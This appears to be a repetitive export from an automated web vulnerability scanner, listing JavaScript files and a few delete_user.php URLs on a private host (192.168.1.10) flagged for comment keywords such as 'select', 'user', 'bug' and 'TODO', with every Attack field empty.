URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/jquery.dataTables.js

Method GET

Attack

Evidence user

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/jquery.dataTables.js

Method GET

Attack

Evidence where

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/jquery.min.js

Method GET

Attack

Evidence db

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/jquery.min.js

Method GET

Attack

Evidence select

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/offcanvas.js

Method GET

Attack

Evidence admin

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/css/bootstrap-datetimepicker.js

Method GET

Attack

Evidence bug

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/css/bootstrap-datetimepicker.js
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Method GET

Attack

Evidence select

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/jquery.min.js

Method GET

Attack

Evidence select

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/jquery.min.js

Method GET

Attack

Evidence username

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/js/bootstrap-datetimepicker.js

Method GET

Attack

Evidence bug

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/js/bootstrap-datetimepicker.js

Method GET

Attack

Evidence select

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/js/bootstrap.js

Method GET

Attack

Evidence query

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/js/bootstrap.js

Method GET

Attack

Evidence select

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/js/DT_bootstrap.js

Method GET

Attack

Evidence from

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/js/DT_bootstrap.js

Method GET

Attack

Evidence select

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/js/jquery-1.7.2.min.js

Method GET

Attack

Evidence select

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/js/jquery-1.7.2.min.js

Method GET
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Attack

Evidence username

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/js/jquery.dataTables.js

Method GET

Attack

Evidence bug

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/js/jquery.dataTables.js

Method GET

Attack

Evidence bugs

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/js/jquery.dataTables.js

Method GET

Attack

Evidence from

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/js/jquery.dataTables.js

Method GET

Attack

Evidence later

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/js/jquery.dataTables.js

Method GET

Attack

Evidence select

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/js/jquery.dataTables.js

Method GET

Attack

Evidence todo

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/js/jquery.dataTables.js

Method GET

Attack

Evidence user

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/js/jquery.dataTables.js

Method GET

Attack

Evidence where

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/js/jquery.min.js

Method GET

Attack

Evidence db

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/js/jquery.min.js

Method GET

Attack
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Evidence select

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/offcanvas.js

Method GET

Attack

Evidence admin

URL http://192.168.1.10/admin/ADMIN/SERVER/css/bootstrap-datetimepicker.js

Method GET

Attack

Evidence bug

URL http://192.168.1.10/admin/ADMIN/SERVER/css/bootstrap-datetimepicker.js

Method GET

Attack

Evidence select

URL http://192.168.1.10/admin/ADMIN/SERVER/delete_user.php?id=1

Method GET

Attack

Evidence user

URL http://192.168.1.10/admin/ADMIN/SERVER/delete_user.php?id=2

Method GET

Attack

Evidence user

URL http://192.168.1.10/admin/ADMIN/SERVER/delete_user.php?id=3

Method GET

Attack

Evidence user

URL http://192.168.1.10/admin/ADMIN/SERVER/js/bootstrap-datetimepicker.js

Method GET

Attack

Evidence bug

URL http://192.168.1.10/admin/ADMIN/SERVER/js/bootstrap-datetimepicker.js

Method GET

Attack

Evidence select

URL http://192.168.1.10/admin/ADMIN/SERVER/js/bootstrap.js

Method GET

Attack

Evidence query

URL http://192.168.1.10/admin/ADMIN/SERVER/js/bootstrap.js

Method GET

Attack

Evidence select

http://192.168.1.10/admin/ADMIN/SERVER/AS/offcanvas.js
http://192.168.1.10/admin/ADMIN/SERVER/css/bootstrap-datetimepicker.js
http://192.168.1.10/admin/ADMIN/SERVER/css/bootstrap-datetimepicker.js
http://192.168.1.10/admin/ADMIN/SERVER/delete_user.php?id=1
http://192.168.1.10/admin/ADMIN/SERVER/delete_user.php?id=2
http://192.168.1.10/admin/ADMIN/SERVER/delete_user.php?id=3
http://192.168.1.10/admin/ADMIN/SERVER/js/bootstrap-datetimepicker.js
http://192.168.1.10/admin/ADMIN/SERVER/js/bootstrap-datetimepicker.js
http://192.168.1.10/admin/ADMIN/SERVER/js/bootstrap.js
http://192.168.1.10/admin/ADMIN/SERVER/js/bootstrap.js


URL http://192.168.1.10/admin/ADMIN/SERVER/js/DT_bootstrap.js

Method GET

Attack

Evidence from

URL http://192.168.1.10/admin/ADMIN/SERVER/js/DT_bootstrap.js

Method GET

Attack

Evidence select

URL http://192.168.1.10/admin/ADMIN/SERVER/js/jquery-1.7.2.min.js

Method GET

Attack

Evidence select

URL http://192.168.1.10/admin/ADMIN/SERVER/js/jquery-1.7.2.min.js

Method GET

Attack

Evidence username

URL http://192.168.1.10/admin/ADMIN/SERVER/js/jquery.dataTables.js

Method GET

Attack

Evidence bug

URL http://192.168.1.10/admin/ADMIN/SERVER/js/jquery.dataTables.js

Method GET

Attack

Evidence bugs

URL http://192.168.1.10/admin/ADMIN/SERVER/js/jquery.dataTables.js

Method GET

Attack

Evidence from

URL http://192.168.1.10/admin/ADMIN/SERVER/js/jquery.dataTables.js

Method GET

Attack

Evidence later

URL http://192.168.1.10/admin/ADMIN/SERVER/js/jquery.dataTables.js

Method GET

Attack

Evidence select

URL http://192.168.1.10/admin/ADMIN/SERVER/js/jquery.dataTables.js

Method GET

Attack

Evidence todo

URL http://192.168.1.10/admin/ADMIN/SERVER/js/jquery.dataTables.js

http://192.168.1.10/admin/ADMIN/SERVER/js/DT_bootstrap.js
http://192.168.1.10/admin/ADMIN/SERVER/js/DT_bootstrap.js
http://192.168.1.10/admin/ADMIN/SERVER/js/jquery-1.7.2.min.js
http://192.168.1.10/admin/ADMIN/SERVER/js/jquery-1.7.2.min.js
http://192.168.1.10/admin/ADMIN/SERVER/js/jquery.dataTables.js
http://192.168.1.10/admin/ADMIN/SERVER/js/jquery.dataTables.js
http://192.168.1.10/admin/ADMIN/SERVER/js/jquery.dataTables.js
http://192.168.1.10/admin/ADMIN/SERVER/js/jquery.dataTables.js
http://192.168.1.10/admin/ADMIN/SERVER/js/jquery.dataTables.js
http://192.168.1.10/admin/ADMIN/SERVER/js/jquery.dataTables.js
http://192.168.1.10/admin/ADMIN/SERVER/js/jquery.dataTables.js


Method GET

Attack

Evidence user

URL http://192.168.1.10/admin/ADMIN/SERVER/js/jquery.dataTables.js

Method GET

Attack

Evidence where

URL http://192.168.1.10/admin/ADMIN/SERVER/js/jquery.min.js

Method GET

Attack

Evidence select

URL http://192.168.1.10/admin/ADMIN/SERVER/js/jquery.min.js

Method GET

Attack

Evidence username

URL http://192.168.1.10/admin/ADMIN/SERVER/offcanvas.js

Method GET

Attack

Evidence admin

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/css/bootstrap-datetimepicker.js

Method GET

Attack

Evidence bug

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/css/bootstrap-datetimepicker.js

Method GET

Attack

Evidence select

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/bootstrap-datetimepicker.js

Method GET

Attack

Evidence bug

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/bootstrap-datetimepicker.js

Method GET

Attack

Evidence select

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/bootstrap.js

Method GET

Attack

Evidence query

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/bootstrap.js

Method GET

http://192.168.1.10/admin/ADMIN/SERVER/js/jquery.dataTables.js
http://192.168.1.10/admin/ADMIN/SERVER/js/jquery.min.js
http://192.168.1.10/admin/ADMIN/SERVER/js/jquery.min.js
http://192.168.1.10/admin/ADMIN/SERVER/offcanvas.js
http://192.168.1.10/admin/ADMIN/SERVER/OOS/css/bootstrap-datetimepicker.js
http://192.168.1.10/admin/ADMIN/SERVER/OOS/css/bootstrap-datetimepicker.js
http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/bootstrap-datetimepicker.js
http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/bootstrap-datetimepicker.js
http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/bootstrap.js
http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/bootstrap.js


Attack

Evidence select

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/DT_bootstrap.js

Method GET

Attack

Evidence from

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/DT_bootstrap.js

Method GET

Attack

Evidence select

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/jquery-1.7.2.min.js

Method GET

Attack

Evidence select

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/jquery-1.7.2.min.js

Method GET

Attack

Evidence username

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/jquery.dataTables.js

Method GET

Attack

Evidence bug

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/jquery.dataTables.js

Method GET

Attack

Evidence bugs

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/jquery.dataTables.js

Method GET

Attack

Evidence from

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/jquery.dataTables.js

Method GET

Attack

Evidence later

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/jquery.dataTables.js

Method GET

Attack

Evidence select

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/jquery.dataTables.js

Method GET

Attack

http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/DT_bootstrap.js
http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/DT_bootstrap.js
http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/jquery-1.7.2.min.js
http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/jquery-1.7.2.min.js
http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/jquery.dataTables.js
http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/jquery.dataTables.js
http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/jquery.dataTables.js
http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/jquery.dataTables.js
http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/jquery.dataTables.js
http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/jquery.dataTables.js


Evidence todo

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/jquery.dataTables.js

Method GET

Attack

Evidence user

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/jquery.dataTables.js

Method GET

Attack

Evidence where

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/jquery.min.js

Method GET

Attack

Evidence db

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/jquery.min.js

Method GET

Attack

Evidence select

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/offcanvas.js

Method GET

Attack

Evidence admin

URL http://192.168.1.10/admin/assets/css/bootstrap-datetimepicker.js

Method GET

Attack

Evidence bug

URL http://192.168.1.10/admin/assets/css/bootstrap-datetimepicker.js

Method GET

Attack

Evidence select

URL http://192.168.1.10/admin/assets/js/application.js

Method GET

Attack

Evidence from

URL http://192.168.1.10/admin/assets/js/bootstrap-typeahead.js

Method GET

Attack

Evidence query

URL http://192.168.1.10/admin/assets/js/bootstrap-typeahead.js

Method GET

Attack

Evidence select

http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/jquery.dataTables.js
http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/jquery.dataTables.js
http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/jquery.min.js
http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/jquery.min.js
http://192.168.1.10/admin/ADMIN/SERVER/OOS/offcanvas.js
http://192.168.1.10/admin/assets/css/bootstrap-datetimepicker.js
http://192.168.1.10/admin/assets/css/bootstrap-datetimepicker.js
http://192.168.1.10/admin/assets/js/application.js
http://192.168.1.10/admin/assets/js/bootstrap-typeahead.js
http://192.168.1.10/admin/assets/js/bootstrap-typeahead.js


URL http://192.168.1.10/admin/assets/js/bootstrap.js

Method GET

Attack

Evidence query

URL http://192.168.1.10/admin/assets/js/bootstrap.js

Method GET

Attack

Evidence select

URL http://192.168.1.10/admin/assets/js/bootstrap.min.js

Method GET

Attack

Evidence query

URL http://192.168.1.10/admin/assets/js/google-code-prettify/prettify.js

Method GET

Attack

Evidence select

URL http://192.168.1.10/admin/assets/js/google-code-prettify/prettify.js

Method GET

Attack

Evidence where

URL http://192.168.1.10/admin/assets/js/ie8-responsive-file-warning.js

Method GET

Attack

Evidence admin

URL http://192.168.1.10/admin/assets/js/jquery.js

Method GET

Attack

Evidence select

URL http://192.168.1.10/admin/assets/js/jquery.js

Method GET

Attack

Evidence username

URL http://192.168.1.10/admin/assets/js/jquery.lightbox-0.5.js

Method GET

Attack

Evidence from

URL http://192.168.1.10/admin/assets/js/jquery.lightbox-0.5.js

Method GET

Attack

Evidence select

URL http://192.168.1.10/admin/assets/js/jquery.lightbox-0.5.js

http://192.168.1.10/admin/assets/js/bootstrap.js
http://192.168.1.10/admin/assets/js/bootstrap.js
http://192.168.1.10/admin/assets/js/bootstrap.min.js
http://192.168.1.10/admin/assets/js/google-code-prettify/prettify.js
http://192.168.1.10/admin/assets/js/google-code-prettify/prettify.js
http://192.168.1.10/admin/assets/js/ie8-responsive-file-warning.js
http://192.168.1.10/admin/assets/js/jquery.js
http://192.168.1.10/admin/assets/js/jquery.js
http://192.168.1.10/admin/assets/js/jquery.lightbox-0.5.js
http://192.168.1.10/admin/assets/js/jquery.lightbox-0.5.js
http://192.168.1.10/admin/assets/js/jquery.lightbox-0.5.js


Method GET

Attack

Evidence user

URL http://192.168.1.10/admin/assets/js/jquery.lightbox-0.5.js

Method GET

Attack

Evidence Where

URL http://192.168.1.10/admin/assets/js/jquery.ui.custom.js

Method GET

Attack

Evidence bug

URL http://192.168.1.10/admin/assets/js/jquery.ui.custom.js

Method GET

Attack

Evidence bugs

URL http://192.168.1.10/admin/assets/js/jquery.ui.custom.js

Method GET

Attack

Evidence from

URL http://192.168.1.10/admin/assets/js/jquery.ui.custom.js

Method GET

Attack

Evidence later

URL http://192.168.1.10/admin/assets/js/jquery.ui.custom.js

Method GET

Attack

Evidence select

URL http://192.168.1.10/admin/assets/js/jquery.ui.custom.js

Method GET

Attack

Evidence TODO

URL http://192.168.1.10/admin/assets/js/jquery.ui.custom.js

Method GET

Attack

Evidence user

URL http://192.168.1.10/admin/assets/js/jquery.ui.custom.js

Method GET

Attack

Evidence where

URL http://192.168.1.10/admin/dist/js/bootstrap.min.js

Method GET

http://192.168.1.10/admin/assets/js/jquery.lightbox-0.5.js
http://192.168.1.10/admin/assets/js/jquery.ui.custom.js
http://192.168.1.10/admin/assets/js/jquery.ui.custom.js
http://192.168.1.10/admin/assets/js/jquery.ui.custom.js
http://192.168.1.10/admin/assets/js/jquery.ui.custom.js
http://192.168.1.10/admin/assets/js/jquery.ui.custom.js
http://192.168.1.10/admin/assets/js/jquery.ui.custom.js
http://192.168.1.10/admin/assets/js/jquery.ui.custom.js
http://192.168.1.10/admin/assets/js/jquery.ui.custom.js
http://192.168.1.10/admin/dist/js/bootstrap.min.js


Attack

Evidence admin

URL http://192.168.1.10/assets/bootstrap/js/bootstrap.js

Method GET

Attack

Evidence from

URL http://192.168.1.10/assets/jquery.min.js

Method GET

Attack

Evidence db

URL http://192.168.1.10/assets/jquery.min.js

Method GET

Attack

Evidence select

URL http://192.168.1.10/assets/js/application.js

Method GET

Attack

Evidence from

URL http://192.168.1.10/assets/js/bootstrap-typeahead.js

Method GET

Attack

Evidence query

URL http://192.168.1.10/assets/js/bootstrap-typeahead.js

Method GET

Attack

Evidence select

URL http://192.168.1.10/assets/js/bootstrap.js

Method GET

Attack

Evidence query

URL http://192.168.1.10/assets/js/bootstrap.js

Method GET

Attack

Evidence select

URL http://192.168.1.10/assets/js/docs.min.js

Method GET

Attack

Evidence query

URL http://192.168.1.10/assets/js/google-code-prettify/prettify.js

Method GET

http://192.168.1.10/assets/bootstrap/js/bootstrap.js
http://192.168.1.10/assets/jquery.min.js
http://192.168.1.10/assets/jquery.min.js
http://192.168.1.10/assets/js/application.js
http://192.168.1.10/assets/js/bootstrap-typeahead.js
http://192.168.1.10/assets/js/bootstrap-typeahead.js
http://192.168.1.10/assets/js/bootstrap.js
http://192.168.1.10/assets/js/bootstrap.js
http://192.168.1.10/assets/js/docs.min.js
http://192.168.1.10/assets/js/google-code-prettify/prettify.js


Attack

Evidence select

URL http://192.168.1.10/assets/js/google-code-prettify/prettify.js

Method GET

Attack

Evidence where

URL http://192.168.1.10/assets/js/ie-emulation-modes-warning.js

Method GET

Attack

Evidence bug

URL http://192.168.1.10/assets/js/ie-emulation-modes-warning.js

Method GET

Attack

Evidence BUGS

URL http://192.168.1.10/assets/js/ie10-viewport-bug-workaround.js

Method GET

Attack

Evidence bug

URL http://192.168.1.10/assets/js/ie8-responsive-file-warning.js

Method GET

Attack

Evidence admin

URL http://192.168.1.10/assets/js/jquery.js

Method GET

Attack

Evidence select

URL http://192.168.1.10/assets/js/jquery.js

Method GET

Attack

Evidence username

URL http://192.168.1.10/assets/js/jquery.lightbox-0.5.js

Method GET

Attack

Evidence from

URL http://192.168.1.10/assets/js/jquery.lightbox-0.5.js

Method GET

Attack

Evidence select

URL http://192.168.1.10/assets/js/jquery.lightbox-0.5.js

Method GET

Attack

http://192.168.1.10/assets/js/google-code-prettify/prettify.js
http://192.168.1.10/assets/js/ie-emulation-modes-warning.js
http://192.168.1.10/assets/js/ie-emulation-modes-warning.js
http://192.168.1.10/assets/js/ie10-viewport-bug-workaround.js
http://192.168.1.10/assets/js/ie8-responsive-file-warning.js
http://192.168.1.10/assets/js/jquery.js
http://192.168.1.10/assets/js/jquery.js
http://192.168.1.10/assets/js/jquery.lightbox-0.5.js
http://192.168.1.10/assets/js/jquery.lightbox-0.5.js
http://192.168.1.10/assets/js/jquery.lightbox-0.5.js


Evidence user

URL http://192.168.1.10/assets/js/jquery.lightbox-0.5.js

Method GET

Attack

Evidence Where

URL http://192.168.1.10/assets/js/jquery.min.js

Method GET

Attack

Evidence db

URL http://192.168.1.10/assets/js/jquery.min.js

Method GET

Attack

Evidence select

URL http://192.168.1.10/assets/js/jquery.ui.custom.js

Method GET

Attack

Evidence bug

URL http://192.168.1.10/assets/js/jquery.ui.custom.js

Method GET

Attack

Evidence bugs

URL http://192.168.1.10/assets/js/jquery.ui.custom.js

Method GET

Attack

Evidence from

URL http://192.168.1.10/assets/js/jquery.ui.custom.js

Method GET

Attack

Evidence later

URL http://192.168.1.10/assets/js/jquery.ui.custom.js

Method GET

Attack

Evidence select

URL http://192.168.1.10/assets/js/jquery.ui.custom.js

Method GET

Attack

Evidence TODO

URL http://192.168.1.10/assets/js/jquery.ui.custom.js

Method GET

Attack

Evidence user

http://192.168.1.10/assets/js/jquery.lightbox-0.5.js
http://192.168.1.10/assets/js/jquery.min.js
http://192.168.1.10/assets/js/jquery.min.js
http://192.168.1.10/assets/js/jquery.ui.custom.js
http://192.168.1.10/assets/js/jquery.ui.custom.js
http://192.168.1.10/assets/js/jquery.ui.custom.js
http://192.168.1.10/assets/js/jquery.ui.custom.js
http://192.168.1.10/assets/js/jquery.ui.custom.js
http://192.168.1.10/assets/js/jquery.ui.custom.js
http://192.168.1.10/assets/js/jquery.ui.custom.js


URL http://192.168.1.10/assets/js/jquery.ui.custom.js

Method GET

Attack

Evidence where

URL http://192.168.1.10/bootstrap/bootstrap/js/application.js

Method GET

Attack

Evidence from

URL http://192.168.1.10/bootstrap/bootstrap/js/bootstrap-typeahead.js

Method GET

Attack

Evidence query

URL http://192.168.1.10/bootstrap/bootstrap/js/bootstrap-typeahead.js

Method GET

Attack

Evidence select

URL http://192.168.1.10/bootstrap/bootstrap/js/bootstrap.js

Method GET

Attack

Evidence query

URL http://192.168.1.10/bootstrap/bootstrap/js/bootstrap.js

Method GET

Attack

Evidence select

URL http://192.168.1.10/bootstrap/bootstrap/js/bootstrap.min.js

Method GET

Attack

Evidence query

URL http://192.168.1.10/bootstrap/bootstrap/js/google-code-prettify/prettify.js

Method GET

Attack

Evidence select

URL http://192.168.1.10/bootstrap/bootstrap/js/google-code-prettify/prettify.js

Method GET

Attack

Evidence where

URL http://192.168.1.10/bootstrap/bootstrap/js/jquery.js

Method GET

Attack

Evidence select

URL http://192.168.1.10/bootstrap/bootstrap/js/jquery.js

http://192.168.1.10/assets/js/jquery.ui.custom.js
http://192.168.1.10/bootstrap/bootstrap/js/application.js
http://192.168.1.10/bootstrap/bootstrap/js/bootstrap-typeahead.js
http://192.168.1.10/bootstrap/bootstrap/js/bootstrap-typeahead.js
http://192.168.1.10/bootstrap/bootstrap/js/bootstrap.js
http://192.168.1.10/bootstrap/bootstrap/js/bootstrap.js
http://192.168.1.10/bootstrap/bootstrap/js/bootstrap.min.js
http://192.168.1.10/bootstrap/bootstrap/js/google-code-prettify/prettify.js
http://192.168.1.10/bootstrap/bootstrap/js/google-code-prettify/prettify.js
http://192.168.1.10/bootstrap/bootstrap/js/jquery.js
http://192.168.1.10/bootstrap/bootstrap/js/jquery.js


Method GET

Attack

Evidence username

URL http://192.168.1.10/bootstrap/bootstrap/js/jquery.lightbox-0.5.js

Method GET

Attack

Evidence from

URL http://192.168.1.10/bootstrap/bootstrap/js/jquery.lightbox-0.5.js

Method GET

Attack

Evidence select

URL http://192.168.1.10/bootstrap/bootstrap/js/jquery.lightbox-0.5.js

Method GET

Attack

Evidence user

URL http://192.168.1.10/bootstrap/bootstrap/js/jquery.lightbox-0.5.js

Method GET

Attack

Evidence Where

URL http://192.168.1.10/bootstrap/bootstrap/js/jquery.min.js

Method GET

Attack

Evidence db

URL http://192.168.1.10/bootstrap/bootstrap/js/jquery.min.js

Method GET

Attack

Evidence username

URL http://192.168.1.10/bootstrap/bootstrap/js/jquery.ui.custom.js

Method GET

Attack

Evidence bug

URL http://192.168.1.10/bootstrap/bootstrap/js/jquery.ui.custom.js

Method GET

Attack

Evidence bugs

URL http://192.168.1.10/bootstrap/bootstrap/js/jquery.ui.custom.js

Method GET

Attack

Evidence from

URL http://192.168.1.10/bootstrap/bootstrap/js/jquery.ui.custom.js

Method GET

http://192.168.1.10/bootstrap/bootstrap/js/jquery.lightbox-0.5.js
http://192.168.1.10/bootstrap/bootstrap/js/jquery.lightbox-0.5.js
http://192.168.1.10/bootstrap/bootstrap/js/jquery.lightbox-0.5.js
http://192.168.1.10/bootstrap/bootstrap/js/jquery.lightbox-0.5.js
http://192.168.1.10/bootstrap/bootstrap/js/jquery.min.js
http://192.168.1.10/bootstrap/bootstrap/js/jquery.min.js
http://192.168.1.10/bootstrap/bootstrap/js/jquery.ui.custom.js
http://192.168.1.10/bootstrap/bootstrap/js/jquery.ui.custom.js
http://192.168.1.10/bootstrap/bootstrap/js/jquery.ui.custom.js
http://192.168.1.10/bootstrap/bootstrap/js/jquery.ui.custom.js


Attack

Evidence later

URL http://192.168.1.10/bootstrap/bootstrap/js/jquery.ui.custom.js

Method GET

Attack

Evidence select

URL http://192.168.1.10/bootstrap/bootstrap/js/jquery.ui.custom.js

Method GET

Attack

Evidence TODO

URL http://192.168.1.10/bootstrap/bootstrap/js/jquery.ui.custom.js

Method GET

Attack

Evidence user

URL http://192.168.1.10/bootstrap/bootstrap/js/jquery.ui.custom.js

Method GET

Attack

Evidence where

URL http://192.168.1.10/bootstrap/js/application.js

Method GET

Attack

Evidence bug

URL http://192.168.1.10/bootstrap/js/bootstrap.js

Method GET

Attack

Evidence from

URL http://192.168.1.10/bootstrap/js/customize.min.js

Method GET

Attack

Evidence Bug

URL http://192.168.1.10/bootstrap/js/customize.min.js

Method GET

Attack

Evidence db

URL http://192.168.1.10/bootstrap/js/customize.min.js

Method GET

Attack

Evidence from

URL http://192.168.1.10/bootstrap/js/customize.min.js

Method GET

Attack

http://192.168.1.10/bootstrap/bootstrap/js/jquery.ui.custom.js
http://192.168.1.10/bootstrap/bootstrap/js/jquery.ui.custom.js
http://192.168.1.10/bootstrap/bootstrap/js/jquery.ui.custom.js
http://192.168.1.10/bootstrap/bootstrap/js/jquery.ui.custom.js
http://192.168.1.10/bootstrap/js/application.js
http://192.168.1.10/bootstrap/js/bootstrap.js
http://192.168.1.10/bootstrap/js/customize.min.js
http://192.168.1.10/bootstrap/js/customize.min.js
http://192.168.1.10/bootstrap/js/customize.min.js
http://192.168.1.10/bootstrap/js/customize.min.js


Evidence TODO

URL http://192.168.1.10/bootstrap/js/ie8-responsive-file-warning.js

Method GET

Attack

Evidence bug

URL http://192.168.1.10/bootstrap/js/raw-files.min.js

Method GET

Attack

Evidence TODO

URL http://192.168.1.10/bootstrap/js/vendor/filesaver.js

Method GET

Attack

Evidence bugs

URL http://192.168.1.10/bootstrap/js/vendor/holder.js

Method GET

Attack

Evidence from

URL http://192.168.1.10/bootstrap/js/vendor/jszip.min.js

Method GET

Attack

Evidence Bug

URL http://192.168.1.10/bootstrap/js/vendor/jszip.min.js

Method GET

Attack

Evidence db

URL http://192.168.1.10/bootstrap/js/vendor/less.min.js

Method GET

Attack

Evidence from

URL http://192.168.1.10/docs.min.js

Method GET

Attack

Evidence query

URL http://192.168.1.10/jquery.min.js

Method GET

Attack

Evidence db

URL http://192.168.1.10/jquery.min.js

Method GET

Attack

Evidence select

http://192.168.1.10/bootstrap/js/ie8-responsive-file-warning.js
http://192.168.1.10/bootstrap/js/raw-files.min.js
http://192.168.1.10/bootstrap/js/vendor/filesaver.js
http://192.168.1.10/bootstrap/js/vendor/holder.js
http://192.168.1.10/bootstrap/js/vendor/jszip.min.js
http://192.168.1.10/bootstrap/js/vendor/jszip.min.js
http://192.168.1.10/bootstrap/js/vendor/less.min.js
http://192.168.1.10/docs.min.js
http://192.168.1.10/jquery.min.js
http://192.168.1.10/jquery.min.js


URL http://192.168.1.10/js/DT_bootstrap.js

Method GET

Attack

Evidence admin

URL http://192.168.1.10:80//admin/ADMIN/ADS/js/bootstrap-datetimepicker.js

Method GET

Attack

Evidence bug

URL http://192.168.1.10:80//admin/ADMIN/ADS/js/bootstrap-datetimepicker.js

Method GET

Attack

Evidence select

URL http://192.168.1.10:80//admin/ADMIN/ADS/js/bootstrap.js

Method GET

Attack

Evidence query

URL http://192.168.1.10:80//admin/ADMIN/ADS/js/bootstrap.js

Method GET

Attack

Evidence select

URL http://192.168.1.10:80//admin/ADMIN/ADS/js/DT_bootstrap.js

Method GET

Attack

Evidence from

URL http://192.168.1.10:80//admin/ADMIN/ADS/js/DT_bootstrap.js

Method GET

Attack

Evidence select

URL http://192.168.1.10:80//admin/ADMIN/ADS/js/jquery-1.7.2.min.js

Method GET

Attack

Evidence select

URL http://192.168.1.10:80//admin/ADMIN/ADS/js/jquery-1.7.2.min.js

Method GET

Attack

Evidence username

URL http://192.168.1.10:80//admin/ADMIN/ADS/js/jquery.dataTables.js

Method GET

Attack

Evidence bug

URL http://192.168.1.10:80//admin/ADMIN/ADS/js/jquery.dataTables.js

http://192.168.1.10/js/DT_bootstrap.js
http://192.168.1.10:80//admin/ADMIN/ADS/js/bootstrap-datetimepicker.js
http://192.168.1.10:80//admin/ADMIN/ADS/js/bootstrap-datetimepicker.js
http://192.168.1.10:80//admin/ADMIN/ADS/js/bootstrap.js
http://192.168.1.10:80//admin/ADMIN/ADS/js/bootstrap.js
http://192.168.1.10:80//admin/ADMIN/ADS/js/DT_bootstrap.js
http://192.168.1.10:80//admin/ADMIN/ADS/js/DT_bootstrap.js
http://192.168.1.10:80//admin/ADMIN/ADS/js/jquery-1.7.2.min.js
http://192.168.1.10:80//admin/ADMIN/ADS/js/jquery-1.7.2.min.js
http://192.168.1.10:80//admin/ADMIN/ADS/js/jquery.dataTables.js
http://192.168.1.10:80//admin/ADMIN/ADS/js/jquery.dataTables.js


Method GET

Attack

Evidence bugs

URL http://192.168.1.10:80//admin/ADMIN/ADS/js/jquery.dataTables.js

Method GET

Attack

Evidence from

URL http://192.168.1.10:80//admin/ADMIN/ADS/js/jquery.dataTables.js

Method GET

Attack

Evidence later

URL http://192.168.1.10:80//admin/ADMIN/ADS/js/jquery.dataTables.js

Method GET

Attack

Evidence select

URL http://192.168.1.10:80//admin/ADMIN/ADS/js/jquery.dataTables.js

Method GET

Attack

Evidence todo

URL http://192.168.1.10:80//admin/ADMIN/ADS/js/jquery.dataTables.js

Method GET

Attack

Evidence user

URL http://192.168.1.10:80//admin/ADMIN/ADS/js/jquery.dataTables.js

Method GET

Attack

Evidence where

URL http://192.168.1.10:80//admin/ADMIN/AS/jquery.min.js

Method GET

Attack

Evidence select

URL http://192.168.1.10:80//admin/ADMIN/AS/jquery.min.js

Method GET

Attack

Evidence username

URL http://192.168.1.10:80//admin/ADMIN/AS/js/bootstrap-datetimepicker.js

Method GET

Attack

Evidence bug

URL http://192.168.1.10:80//admin/ADMIN/AS/js/bootstrap-datetimepicker.js

Method GET

http://192.168.1.10:80//admin/ADMIN/ADS/js/jquery.dataTables.js
http://192.168.1.10:80//admin/ADMIN/ADS/js/jquery.dataTables.js
http://192.168.1.10:80//admin/ADMIN/ADS/js/jquery.dataTables.js
http://192.168.1.10:80//admin/ADMIN/ADS/js/jquery.dataTables.js
